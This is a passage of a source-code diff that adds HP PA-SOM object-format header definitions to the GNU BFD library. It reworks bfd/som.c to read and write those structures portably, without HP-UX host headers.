+    uint32_t        secs;
+    uint32_t        nanosecs;
+};
+
+union name_pt {
+    uint32_t        n_name;
+    uint32_t        n_strx;
+};
+
+union internal_name_pt {
+    char *          n_name;
+    uint32_t        n_strx;
+};
+#define NAME_PT             name.n_name
+#define STR_INDEX           name.n_strx
+
+#endif /* _bfd_som_aouttypes_h */
Index: include/som/filehdr.h
===================================================================
--- include/som/filehdr.h	(revision 0)
+++ include/som/filehdr.h	(revision 12)
@@ -0,0 +1,81 @@
+/* Declaration of data structures for the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_filehdr_h
+#define _bfd_som_filehdr_h
+
+#include "aouttypes.h"
+
+struct header {
+    uint16_t        system_id;
+#define CPU_PA_RISC1_0      0x20B
+#define CPU_PA_RISC1_1      0x210
+#define CPU_PA_RISC2_0      0x214
+    uint16_t        a_magic;
+#define EXECLIBMAGIC        0x104
+#define RELOC_MAGIC         0x106
+#define EXEC_MAGIC          0x107
+#define SHARE_MAGIC         0x108
+#define DEMAND_MAGIC        0x10b
+#define DL_MAGIC            0x10d
+#define SHL_MAGIC           0x10e
+    uint32_t        version_id;
+#define VERSION_ID          85082112
+#define NEW_VERSION_ID      87102412
+    struct sys_clock file_time;
+    uint32_t        entry_space;
+    uint32_t        entry_subspace;
+    uint32_t        entry_offset;
+    uint32_t        aux_header_location;
+    uint32_t        aux_header_size;
+    uint32_t        som_length;
+    uint32_t        presumed_dp;
+    uint32_t        space_location;
+    uint32_t        space_total;
+    uint32_t        subspace_location;
+    uint32_t        subspace_total;
+    uint32_t        loader_fixup_location;
+    uint32_t        loader_fixup_total;
+    uint32_t        space_strings_location;
+    uint32_t        space_strings_size;
+    uint32_t        init_array_location;
+    uint32_t        init_array_total;
+    uint32_t        compiler_location;
+    uint32_t        compiler_total;
+    uint32_t        symbol_location;
+    uint32_t        symbol_total;
+    uint32_t        fixup_request_location;
+    uint32_t        fixup_request_total;
+    uint32_t        symbol_strings_location;
+    uint32_t        symbol_strings_size;
+    uint32_t        unloadable_sp_location;
+    uint32_t        unloadable_sp_size;
+    uint32_t        checksum;
+};
+
+#define _PA_RISC1_0_ID      CPU_PA_RISC1_0
+#define _PA_RISC1_1_ID      CPU_PA_RISC1_1
+#define _PA_RISC2_0_ID      CPU_PA_RISC2_0
+#define _PA_RISC_MAXID      0x2FF
+#define _PA_RISC_ID(__m_num)            \
+    (((__m_num) == _PA_RISC1_0_ID) ||   \
+         ((__m_num) >= _PA_RISC1_1_ID && (__m_num) <= _PA_RISC_MAXID))
+
+#endif /* _bfd_som_filehdr_h */
Index: include/som/compunit.h
===================================================================
--- include/som/compunit.h	(revision 0)
+++ include/som/compunit.h	(revision 12)
@@ -0,0 +1,54 @@
+/* Declaration of data structures for the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_compunit_h
+#define _bfd_som_compunit_h
+
+#include "aouttypes.h"
+
+struct compilation_unit {
+    union name_pt    name;
+    union name_pt    language_name;
+    union name_pt    product_id;
+    union name_pt    version_id;
+    uint32_t flags;
+#define CU_RESERVED_MASK                0xfffffffe
+#define CU_RESERVED_SHIFT               1
+#define CU_CHUNK_FLAG                   0x00000001
+    struct sys_clock compile_time;
+    struct sys_clock source_time;
+};
+#define COMPUNIT            struct compilation_unit
+#define COMPUNITSZ          sizeof(COMPUNIT)
+
+struct internal_compilation_unit {
+    union internal_name_pt    name;
+    union internal_name_pt    language_name;
+    union internal_name_pt    product_id;
+    union internal_name_pt    version_id;
+    uint32_t         reserved   : 31;
+    uint32_t         chunk_flag :  1;
+    struct sys_clock compile_time;
+    struct sys_clock source_time;
+};
+#define internal_COMPUNIT            struct internal_compilation_unit
+#define internal_COMPUNITSZ          sizeof(internal_COMPUNIT)
+
+#endif /* _bfd_som_compunit_h */
Index: include/som/scnhdr.h
===================================================================
--- include/som/scnhdr.h	(revision 0)
+++ include/som/scnhdr.h	(revision 12)
@@ -0,0 +1,91 @@
+/* Declaration of data structures for the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_scnhdr_h
+#define _bfd_som_scnhdr_h
+
+#include "aouttypes.h"
+
+struct subspace_dictionary_record {
+	int32_t         space_index;
+        uint32_t        flags;
+#define SCN_ACCESS_CONTROL_BITS_MASK    0xfe000000
+#define SCN_ACCESS_CONTROL_BITS_SHIFT   25
+#define SCN_MEMORY_RESIDENT             0x01000000
+#define SCN_DUP_COMMON                  0x00800000
+#define SCN_IS_COMMON                   0x00400000
+#define SCN_IS_LOADABLE                 0x00200000
+#define SCN_QUADRANT_MASK               0x00180000
+#define SCN_QUADRANT_SHIFT              19
+#define SCN_INITIALLY_FROZEN            0x00040000
+#define SCN_IS_FIRST                    0x00020000
+#define SCN_CODE_ONLY                   0x00010000
+#define SCN_SORT_KEY_MASK               0x0000ff00
+#define SCN_SORT_KEY_SHIFT              8
+#define SCN_REPLICATE_INIT              0x00000080
+#define SCN_CONTINUATION                0x00000040
+#define SCN_IS_TSPECIFIC                0x00000020
+#define SCN_IS_COMDAT                   0x00000010
+#define SCN_RESERVED_MASK               0x0000000f
+#define SCN_RESERVED_SHIFT              0
+        int32_t         file_loc_init_value;
+        uint32_t        initialization_length;
+        uint32_t        subspace_start;
+        uint32_t        subspace_length;
+        uint32_t        flags2;
+#define SCN_RESERVED2_MASK              0xf8000000
+#define SCN_RESERVED2_SHIFT             27
+#define SCN_ALIGNMENT_MASK              0x07ffffff
+#define SCN_ALIGNMENT_SHIFT             0
+        union name_pt   name;
+        int32_t         fixup_request_index;
+        uint32_t        fixup_request_quantity;
+};
+
+struct internal_subspace_dictionary_record {
+        int32_t         space_index;
+        uint8_t         access_control_bits: 7;
+        bfd_boolean     memory_resident;
+        bfd_boolean     dup_common;
+        bfd_boolean     is_common;
+        bfd_boolean     is_loadable;
+        uint8_t         quadrant: 2;
+        bfd_boolean     initially_frozen;
+        bfd_boolean     is_first;
+        bfd_boolean     code_only;
+        uint8_t         sort_key;
+        bfd_boolean     replicate_init;
+        bfd_boolean     continuation;
+        bfd_boolean     is_tspecific;
+        bfd_boolean     is_comdat;
+        int32_t         file_loc_init_value;
+        uint32_t        initialization_length;
+        uint32_t        subspace_start;
+        uint32_t        subspace_length;
+        uint32_t        alignment: 27;
+        union internal_name_pt name;
+        int32_t         fixup_request_index;
+        uint32_t        fixup_request_quantity;
+};
+
+#define SCNHDR  struct subspace_dictionary_record
+#define SCNHSZ  sizeof(SCNHDR)
+
+#endif /* _bfd_som_scnhdr_h */
Index: include/som/lst.h
===================================================================
--- include/som/lst.h	(revision 0)
+++ include/som/lst.h	(revision 12)
@@ -0,0 +1,123 @@
+/* Declaration of data structures for the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_lst_h
+#define _bfd_som_lst_h
+
+#include "aouttypes.h"
+
+#define LIBMAGIC            0x0619
+
+struct lst_header {
+    uint16_t            system_id;
+    uint16_t            a_magic;
+    uint32_t            version_id;
+    struct sys_clock    file_time;
+    uint32_t            hash_loc;
+    uint32_t            hash_size;
+    uint32_t            module_count;
+    uint32_t            module_limit;
+    uint32_t            dir_loc;
+    uint32_t            export_loc;
+    uint32_t            export_count;
+    uint32_t            import_loc;
+    uint32_t            aux_loc;
+    uint32_t            aux_size;
+    uint32_t            string_loc;
+    uint32_t            string_size;
+    uint32_t            free_list;
+    uint32_t            file_end;
+    uint32_t            checksum;
+};
+
+struct som_entry {
+    uint32_t            location;
+    uint32_t            length;
+};
+
+struct lst_symbol_record {
+    uint32_t            flags;
+#define LST_HIDDEN                      0x80000000
+#define LST_SECONDARY_DEF               0x40000000
+#define LST_SYMBOL_TYPE_MASK            0x3f000000
+#define LST_SYMBOL_TYPE_SHIFT           24
+#define LST_SYMBOL_SCOPE_MASK           0x00f00000
+#define LST_SYMBOL_SCOPE_SHIFT          20
+#define LST_CHECK_LEVEL_MASK            0x000e0000
+#define LST_CHECK_LEVEL_SHIFT           17
+#define LST_MUST_QUALIFY                0x00010000
+#define LST_INITIALLY_FROZEN            0x00008000
+#define LST_MEMORY_RESIDENT             0x00004000
+#define LST_IS_COMMON                   0x00002000
+#define LST_DUP_COMMON                  0x00001000
+#define LST_XLEAST_MASK                 0x00000c00
+#define LST_XLEAST_SHIFT                10
+#define LST_ARG_RELOC_MASK              0x000003ff
+#define LST_ARG_RELOC_SHIFT             0
+    union name_pt       name;
+    union name_pt       qualifier_name;
+    uint32_t            symbol_info;
+    uint32_t            symbol_value;
+    uint32_t            symbol_descriptor;
+    uint32_t            flags2;
+#define LST_RESERVED_MASK               0xff000000
+#define LST_RESERVED_SHIFT              24
+#define LST_MAX_NUM_ARGS_MASK           0x00ff0000
+#define LST_MAX_NUM_ARGS_SHIFT          16
+#define LST_MIN_NUM_ARGS_MASK           0x0000ff00
+#define LST_MIN_NUM_ARGS_SHIFT          8
+#define LST_NUM_ARGS_MASK               0x000000ff
+#define LST_NUM_ARGS_SHIFT              0
+    uint32_t            som_index;
+    uint32_t            symbol_key;
+    uint32_t            next_entry;
+};
+
+struct internal_lst_symbol_record {
+    bfd_boolean         hidden;
+    bfd_boolean         secondary_def;
+    uint8_t             symbol_type      : 6;
+    uint8_t             symbol_scope     : 4;
+    uint8_t             check_level      : 3;
+    bfd_boolean         must_qualify;
+    bfd_boolean         initially_frozen;
+    bfd_boolean         memory_resident;
+    bfd_boolean         is_common;
+    bfd_boolean         dup_common;
+    uint8_t             xleast           : 2;
+    uint16_t            arg_reloc        :10;
+    union internal_name_pt name;
+    union internal_name_pt qualifier_name;
+    uint32_t            symbol_info;
+    uint32_t            symbol_value;
+    uint32_t            symbol_descriptor;
+    uint8_t             reserved;
+    uint8_t             max_num_args;
+    uint8_t             min_num_args;
+    uint8_t             num_args;
+    uint32_t            som_index;
+    uint32_t            symbol_key;
+    uint32_t            next_entry;
+};
+
+#define LSTSYMESZ           sizeof(struct lst_symbol_record)
+#define SLSTHDR             sizeof(struct lst_header)
+
+#endif /* _bfd_som_lst_h */
Index: include/som/reloc.h
===================================================================
--- include/som/reloc.h	(revision 0)
+++ include/som/reloc.h	(revision 12)
@@ -0,0 +1,75 @@
+/* Declaration of relocation operators for the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_reloc_h
+#define _bfd_som_reloc_h
+
+#define R_NO_RELOCATION     0x00
+#define R_ZEROES            0x20
+#define R_UNINIT            0x22
+#define R_RELOCATION        0x24
+#define R_DATA_ONE_SYMBOL   0x25
+#define R_DATA_PLABEL       0x27
+#define R_SPACE_REF         0x29
+#define R_REPEATED_INIT     0x2a
+#define R_PCREL_CALL        0x30
+#define R_SHORT_PCREL_MODE  0x3e
+#define R_LONG_PCREL_MODE   0x3f
+#define R_ABS_CALL          0x40
+#define R_DP_RELATIVE       0x50
+#define R_DLT_REL           0x78
+#define R_CODE_ONE_SYMBOL   0x80
+#define R_MILLI_REL         0xae
+#define R_CODE_PLABEL       0xb0
+#define R_BREAKPOINT        0xb2
+#define R_ENTRY             0xb3
+#define R_ALT_ENTRY         0xb5
+#define R_EXIT              0xb6
+#define R_BEGIN_TRY         0xb7
+#define R_END_TRY           0xb8
+#define R_BEGIN_BRTAB       0xbb
+#define R_END_BRTAB         0xbc
+#define R_STATEMENT         0xbd
+#define R_DATA_EXPR         0xc0
+#define R_CODE_EXPR         0xc1
+#define R_FSEL              0xc2
+#define R_LSEL              0xc3
+#define R_RSEL              0xc4
+#define R_N_MODE            0xc5
+#define R_S_MODE            0xc6
+#define R_D_MODE            0xc7
+#define R_R_MODE            0xc8
+#define R_DATA_OVERRIDE     0xc9
+#define R_TRANSLATED        0xce
+#define R_AUX_UNWIND        0xcf
+#define R_COMP1             0xd0
+#define R_COMP2             0xd1
+#define R_COMP3             0xd2
+#define R_PREV_FIXUP        0xd3
+#define R_SEC_STMT          0xd7
+#define R_N0SEL             0xd8
+#define R_N1SEL             0xd9
+#define R_LINETAB           0xda
+#define R_LINETAB_ESC       0xdb
+#define R_LTP_OVERRIDE      0xdc
+#define R_COMMENT           0xdd
+#define R_RESERVED          0xe0
+
+#endif /* _bfd_som_reloc_h */
Index: include/som/a.out.h
===================================================================
--- include/som/a.out.h	(revision 0)
+++ include/som/a.out.h	(revision 12)
@@ -0,0 +1,32 @@
+/* Declaration of data structures for the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_a_out_h
+#define _bfd_som_a_out_h
+
+#include "filehdr.h"
+#include "aouthdr.h"
+#include "scnhdr.h"
+#include "spacehdr.h"
+#include "compunit.h"
+#include "reloc.h"
+#include "syms.h"
+
+#endif /* _bfd_som_a_out_h */
Index: include/som/aouthdr.h
===================================================================
--- include/som/aouthdr.h	(revision 0)
+++ include/som/aouthdr.h	(revision 12)
@@ -0,0 +1,107 @@
+/* Declaration of data structures for the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+#ifndef _bfd_som_aouthdr_h
+#define _bfd_som_aouthdr_h
+
+#include "aouttypes.h"
+
+struct aux_id {
+    uint32_t	    flags;
+#define AUX_MANDATORY                   0x80000000
+#define AUX_COPY                        0x40000000
+#define AUX_APPEND                      0x20000000
+#define AUX_IGNORE                      0x10000000
+#define AUX_RESERVED_MASK               0x0fff0000
+#define AUX_RESERVED_SHIFT              16
+#define AUX_TYPE_MASK                   0x0000ffff
+#define AUX_TYPE_SHIFT                  0
+    uint32_t        length;
+};
+
+struct som_exec_auxhdr {
+    struct aux_id   som_auxhdr;
+    int32_t         exec_tsize;
+    int32_t         exec_tmem;
+    int32_t         exec_tfile;
+    int32_t         exec_dsize;
+    int32_t         exec_dmem;
+    int32_t         exec_dfile;
+    int32_t         exec_bsize;
+    int32_t         exec_entry;
+    int32_t         exec_flags;
+    int32_t         exec_bfill;
+};
+
+struct copyright_aux_hdr {
+    struct aux_id   header_id;
+    uint32_t        string_length;
+    char            copyright[1];  
+    /* Pad to next 32-bit boundary */
+};
+
+struct user_string_aux_hdr {
+    struct aux_id   header_id;
+    uint32_t        string_length;
+    char            user_string[1]; 
+    /* Pad to next 32-bit boundary */
+};
+
+#define AUX_HDR_SIZE sizeof (struct som_exec_auxhdr)
+
+struct internal_aux_id {
+    bfd_boolean     mandatory;
+    bfd_boolean     copy;
+    bfd_boolean     append;
+    bfd_boolean     ignore;
+    uint16_t        type;
+#define   HPUX_AUX_ID         4
+#define   VERSION_AUX_ID      6
+#define   COPYRIGHT_AUX_ID    9
+    uint32_t        length;
+};
+
+struct internal_som_exec_auxhdr {
+    struct internal_aux_id   som_auxhdr;
+    int32_t         exec_tsize;
+    int32_t         exec_tmem;
+    int32_t         exec_tfile;
+    int32_t         exec_dsize;
+    int32_t         exec_dmem;
+    int32_t         exec_dfile;
+    int32_t         exec_bsize;
+    int32_t         exec_entry;
+    int32_t         exec_flags;
+    int32_t         exec_bfill;
+};
+
+struct internal_copyright_aux_hdr {
+    struct internal_aux_id   header_id;
+    uint32_t        string_length;
+    char *          copyright;
+};
+
+struct internal_user_string_aux_hdr {
+    struct internal_aux_id   header_id;
+    uint32_t        string_length;
+    char *          user_string;
+};
+
+
+#endif /* _bfd_som_aouthdr_h */
Index: bfd/som.c
===================================================================
--- bfd/som.c	(revision 6)
+++ bfd/som.c	(working copy)
@@ -5,6 +5,7 @@
 
    Contributed by the Center for Software Science at the
    University of Utah.
+   Made portable by David Leonard of Quest Software, Inc.
 
    This file is part of BFD, the Binary File Descriptor library.
 
@@ -27,16 +28,14 @@
 #include "sysdep.h"
 #include "bfd.h"
 
-#if defined (HOST_HPPAHPUX) || defined (HOST_HPPABSD) || defined (HOST_HPPAOSF) || defined(HOST_HPPAMPEIX)
-
 #include "libbfd.h"
-#include "som.h"
 #include "safe-ctype.h"
+#include "som.h"
+#include "som/somswap.h"
 
-#include <sys/param.h>
-#include <signal.h>
-#include <machine/reg.h>
-#include <sys/file.h>
+#ifndef MAX
+#define MAX(a,b)    ((a) > (b) ? (a) : (b))
+#endif
 
 static bfd_reloc_status_type hppa_som_reloc
   (bfd *, arelent *, asymbol *, void *, asection *, bfd *, char **);
@@ -44,61 +43,98 @@
 static bfd_boolean som_is_space (asection *);
 static bfd_boolean som_is_subspace (asection *);
 static int compare_subspaces (const void *, const void *);
-static unsigned long som_compute_checksum (bfd *);
+static uint32_t xor_checksum (void *data, size_t size);
 static bfd_boolean som_build_and_write_symbol_table (bfd *);
-static unsigned int som_slurp_symbol_table (bfd *);
+static bfd_boolean som_slurp_symbol_table (bfd *);
 
-/* Magic not defined in standard HP-UX header files until 8.0.  */
+static int som_bfd_write_aux_id_and_string(bfd * abfd, 
+    struct internal_aux_id * aux_id, uint32_t string_length, char *string);
 
-#ifndef CPU_PA_RISC1_0
-#define CPU_PA_RISC1_0 0x20B
-#endif /* CPU_PA_RISC1_0 */
+#define SOM_DECLARE_READ(tag, internal_tag)				\
+static bfd_boolean som_bfd_read_##tag (bfd *, struct internal_tag *);	\
+static bfd_boolean							\
+som_bfd_read_##tag (bfd * abfd, struct internal_tag * dst)		\
+{									\
+  struct tag buf;							\
+  if (bfd_bread ((void *) &buf, sizeof buf, abfd) != sizeof buf)	\
+    return FALSE;							\
+  som_bfd_get_##tag (abfd, &buf, dst);					\
+  return TRUE;								\
+}
 
-#ifndef CPU_PA_RISC1_1
-#define CPU_PA_RISC1_1 0x210
-#endif /* CPU_PA_RISC1_1 */
+#define SOM_DECLARE_WRITE(tag, internal_tag)				\
+static bfd_boolean som_bfd_write_##tag (bfd *, const struct internal_tag *); \
+static bfd_boolean							\
+som_bfd_write_##tag (bfd * abfd, const struct internal_tag * src)	\
+{									\
+  struct tag buf;							\
+  som_bfd_put_##tag (abfd, src, &buf);					\
+  return bfd_bwrite ((void *) &buf, sizeof buf, abfd) == sizeof buf;	\
+}									\
 
-#ifndef CPU_PA_RISC2_0
-#define CPU_PA_RISC2_0 0x214
-#endif /* CPU_PA_RISC2_0 */
+SOM_DECLARE_READ(lst_header, lst_header)
+SOM_DECLARE_READ(header, header)
+SOM_DECLARE_READ(som_entry, som_entry)
+SOM_DECLARE_READ(som_exec_auxhdr, internal_som_exec_auxhdr)
+SOM_DECLARE_READ(space_dictionary_record, internal_space_dictionary_record)
+SOM_DECLARE_READ(subspace_dictionary_record, internal_subspace_dictionary_record)
+SOM_DECLARE_READ(lst_symbol_record, internal_lst_symbol_record)
+SOM_DECLARE_WRITE(aux_id, internal_aux_id)
+SOM_DECLARE_WRITE(symbol_dictionary_record, internal_symbol_dictionary_record)
+SOM_DECLARE_WRITE(space_dictionary_record, internal_space_dictionary_record)
+SOM_DECLARE_WRITE(subspace_dictionary_record, internal_subspace_dictionary_record)
+SOM_DECLARE_WRITE(compilation_unit, internal_compilation_unit)
+SOM_DECLARE_WRITE(som_exec_auxhdr, internal_som_exec_auxhdr)
+SOM_DECLARE_WRITE(som_entry, som_entry)
+SOM_DECLARE_WRITE(lst_symbol_record, internal_lst_symbol_record)
 
-#ifndef _PA_RISC1_0_ID
-#define _PA_RISC1_0_ID CPU_PA_RISC1_0
-#endif /* _PA_RISC1_0_ID */
+/* Writes an aux_id + string. Returns bytes written, or 0 on error */
+static int 
+som_bfd_write_aux_id_and_string(bfd * abfd, 
+      struct internal_aux_id * aux_id,
+      uint32_t string_length,
+      char *string)
+{
+  uint32_t len;
+  static char zeroes[4] = {0,0,0,0};
+  unsigned int pad;
 
-#ifndef _PA_RISC1_1_ID
-#define _PA_RISC1_1_ID CPU_PA_RISC1_1
-#endif /* _PA_RISC1_1_ID */
+  BFD_ASSERT (aux_id->length % 4 == 0);
+  BFD_ASSERT (aux_id->length >= string_length + sizeof len);
+  BFD_ASSERT (aux_id->length < string_length + sizeof len + 4); /* minimal */
 
-#ifndef _PA_RISC2_0_ID
-#define _PA_RISC2_0_ID CPU_PA_RISC2_0
-#endif /* _PA_RISC2_0_ID */
+  if (! som_bfd_write_aux_id (abfd, aux_id))
+    return 0;
 
-#ifndef _PA_RISC_MAXID
-#define _PA_RISC_MAXID	0x2FF
-#endif /* _PA_RISC_MAXID */
+  H_PUT_32 (abfd, string_length, &len);
+  if (bfd_bwrite (&len, sizeof len, abfd) != sizeof len)
+    return 0;
 
-#ifndef _PA_RISC_ID
-#define _PA_RISC_ID(__m_num)		\
-    (((__m_num) == _PA_RISC1_0_ID) ||	\
-     ((__m_num) >= _PA_RISC1_1_ID && (__m_num) <= _PA_RISC_MAXID))
-#endif /* _PA_RISC_ID */
+  if (bfd_bwrite (string, string_length, abfd) != string_length)
+    return 0;
 
-/* HIUX in it's infinite stupidity changed the names for several "well
-   known" constants.  Work around such braindamage.  Try the HPUX version
-   first, then the HIUX version, and finally provide a default.  */
-#ifdef HPUX_AUX_ID
-#define EXEC_AUX_ID HPUX_AUX_ID
-#endif
+  pad = aux_id->length - string_length - sizeof len;
+  if (pad && bfd_bwrite (zeroes, pad, abfd) != pad)
+    return 0;
 
-#if !defined (EXEC_AUX_ID) && defined (HIUX_AUX_ID)
-#define EXEC_AUX_ID HIUX_AUX_ID
-#endif
+  return sizeof (struct aux_id) + sizeof len + string_length + pad;
+}
 
-#ifndef EXEC_AUX_ID
-#define EXEC_AUX_ID 0
-#endif
+/* Computes the 32bit XOR checksum of a buffer */
+static uint32_t
+xor_checksum (void *data, size_t size)
+{
+  uint32_t checksum;
+  uint32_t *p = (uint32_t *) data;
+  uint32_t *end = (uint32_t *) ((char *) data + size);
 
+  BFD_ASSERT (size % sizeof (uint32_t) == 0);
+  checksum = 0;
+  while (p < end)
+    checksum ^= *p++;
+  return checksum;
+}
+
 /* Size (in chars) of the temporary buffers used during fixup and string
    table writes.   */
 
@@ -634,53 +670,8 @@
   -1
 };
 
-/* These apparently are not in older versions of hpux reloc.h (hpux7).  */
-#ifndef R_DLT_REL
-#define R_DLT_REL 0x78
-#endif
+/* #define NO_PCREL_MODES - only for < PA_2_0 */
 
-#ifndef R_AUX_UNWIND
-#define R_AUX_UNWIND 0xcf
-#endif
-
-#ifndef R_SEC_STMT
-#define R_SEC_STMT 0xd7
-#endif
-
-/* And these first appeared in hpux10.  */
-#ifndef R_SHORT_PCREL_MODE
-#define NO_PCREL_MODES
-#define R_SHORT_PCREL_MODE 0x3e
-#endif
-
-#ifndef R_LONG_PCREL_MODE
-#define R_LONG_PCREL_MODE 0x3f
-#endif
-
-#ifndef R_N0SEL
-#define R_N0SEL 0xd8
-#endif
-
-#ifndef R_N1SEL
-#define R_N1SEL 0xd9
-#endif
-
-#ifndef R_LINETAB
-#define R_LINETAB 0xda
-#endif
-
-#ifndef R_LINETAB_ESC
-#define R_LINETAB_ESC 0xdb
-#endif
-
-#ifndef R_LTP_OVERRIDE
-#define R_LTP_OVERRIDE 0xdc
-#endif
-
-#ifndef R_COMMENT
-#define R_COMMENT 0xdd
-#endif
-
 #define SOM_HOWTO(TYPE, NAME)	\
   HOWTO(TYPE, 0, 0, 32, FALSE, 0, 0, hppa_som_reloc, NAME, FALSE, 0, 0, FALSE)
 
@@ -1648,7 +1639,7 @@
 static const bfd_target *
 som_object_setup (bfd *abfd,
 		  struct header *file_hdrp,
-		  struct som_exec_auxhdr *aux_hdrp,
+		  struct internal_som_exec_auxhdr *aux_hdrp,
 		  unsigned long current_offset)
 {
   asection *section;
@@ -1796,8 +1787,8 @@
   /* Loop over all of the space dictionaries, building up sections.  */
   for (space_index = 0; space_index < file_hdr->space_total; space_index++)
     {
-      struct space_dictionary_record space;
-      struct som_subspace_dictionary_record subspace, save_subspace;
+      struct internal_space_dictionary_record space;
+      struct internal_subspace_dictionary_record subspace, save_subspace;
       unsigned int subspace_index;
       asection *space_asect;
       bfd_size_type space_size = 0;
@@ -1806,11 +1797,11 @@
       /* Read the space dictionary element.  */
       if (bfd_seek (abfd,
 		    (current_offset + file_hdr->space_location
-		     + space_index * sizeof space),
+		     + space_index * sizeof (struct space_dictionary_record)),
 		    SEEK_SET) != 0)
 	goto error_return;
-      amt = sizeof space;
-      if (bfd_bread (&space, amt, abfd) != amt)
+
+      if (! som_bfd_read_space_dictionary_record (abfd, &space))
 	goto error_return;
 
       /* Setup the space name string.  */
@@ -1843,16 +1834,17 @@
       /* Now, read in the first subspace for this space.  */
       if (bfd_seek (abfd,
 		    (current_offset + file_hdr->subspace_location
-		     + space.subspace_index * sizeof subspace),
+		     + space.subspace_index 
+		       * sizeof (struct subspace_dictionary_record)),
 		    SEEK_SET) != 0)
 	goto error_return;
-      amt = sizeof subspace;
-      if (bfd_bread (&subspace, amt, abfd) != amt)
+      if (! som_bfd_read_subspace_dictionary_record(abfd, &subspace))
 	goto error_return;
       /* Seek back to the start of the subspaces for loop below.  */
       if (bfd_seek (abfd,
 		    (current_offset + file_hdr->subspace_location
-		     + space.subspace_index * sizeof subspace),
+		     + space.subspace_index 
+		       * sizeof (struct subspace_dictionary_record)),
 		    SEEK_SET) != 0)
 	goto error_return;
 
@@ -1875,8 +1867,7 @@
 	  asection *subspace_asect;
 
 	  /* Read in the next subspace.  */
-	  amt = sizeof subspace;
-	  if (bfd_bread (&subspace, amt, abfd) != amt)
+	  if (! som_bfd_read_subspace_dictionary_record(abfd, &subspace))
 	    goto error_return;
 
